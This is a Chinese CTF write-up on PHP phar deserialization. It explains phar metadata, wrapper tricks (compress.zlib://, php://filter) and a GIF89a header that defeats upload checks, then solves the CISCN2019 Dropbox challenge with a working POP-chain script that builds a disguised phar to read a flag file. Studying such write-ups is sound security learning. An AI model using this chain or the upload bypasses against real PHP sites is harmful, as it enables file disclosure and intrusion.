Phar反序列化
参考资料:
浅析Phar反序列化 - FreeBuf网络安全行业门户
化繁为简:thinkphp5.1.37反序列化浅析 - FreeBuf网络安全行业门户
我真是太喜欢ctf辣,这两天看了看phar反序列化,这玩意玩起来花样可多了
phar结构
参考
xxx
前面内容无所谓,但是必须由__HALT_COMPILER();?>来结尾,所以可以在前面添加
GIF89a
来绕过文件上传的一些检测
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
- contents 被压缩文件的内容
- signature 签名
php有一些函数在通过phar://伪协议读取文件时,会把meta-data反序列化

生成phar的代码,注意生成前要把php.ini中phar.readonly设置为Off
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class test { public function __wakeup() { echo "OK!"; } } @unlink("test.phar"); $phar=new phar("test.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $t=new test(); $phar->setMetadata($t); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); file_get_contents('phar://test.phar'); ?>
|
当环境限制了phar不能出现在前面的字符里。可以使用**compress.bzip2://和compress.zlib://**等绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”.”“); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
[CISCN2019 web1]Dropbox
有一个登录界面,登录后可以上传,可以下载文件,这里尝试下载几个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?> <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php";
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
<?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } ?>
<!DOCTYPE html> <html>
<meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>网盘管理</title>
<head> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <link href="static/css/panel.css" rel="stylesheet"> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> <script src="static/js/panel.js"></script> </head>
<body> <nav aria-label="breadcrumb"> <ol class="breadcrumb"> <li class="breadcrumb-item active">管理面板</li> <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li> <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li> </ol> </nav> <input type="file" id="fileInput" class="hidden"> <div class="top" id="toast-container"></div>
<?php include "class.php";
$a = new FileList($_SESSION['sandbox']); $a->Name(); $a->Size(); ?> ## class.php <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User { public $db;
public function __construct() { global $db; $this->db = $db; }
public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; }
public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; }
public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; }
public function __destruct() { $this->db->close(); } }
class FileList { private $files; private $results; private $funcs;
public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path);
$key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]);
foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } }
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } }
class File { public $filename;
public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
public function name() { return basename($this->filename); }
public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; }
public function detele() { unlink($this->filename); }
public function close() { return file_get_contents($this->filename); } } ?>
|
阅读class.php发现有三个类:User、File、FileList,出现了三个重要的魔术方法__call __destruct
这里File类有一个重要的close方法,返回file_get_contents的内容,由于这道题对符号和phar都没有过滤,所以我们可以尝试phar伪协议读写,现在可以知道终点是File的close方法,然后又发现User类的__destruct会执行$db->close(),原本这里是来执行数据库的关闭,这里可以想到把db设置为file,但是直接设置不会显示出来,我们注意到FileList类有一个__destruct方法,会输出内容,同时还有一个__call方法,若调用不存在的函数,会调用$files中的File类,运行对应File类的方法,同时返回数组$funcs中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php class User { public $db; } class FileList { private $files; private $results; private $funcs; public function __construct() { $this->files=array(); $this->results=array(); $this->funcs=array(); $f1=new File(); $f1->filename='/flag.txt'; array_push($this->files,$f1); } } class File { public $filename; } $u=new User(); $f=new FileList; $u->db=$f; $phar=new phar("flag.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>"); $phar->setMetadata($u); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
|
得到flag.phar修改后缀名为gif,然后delete一下得到flag
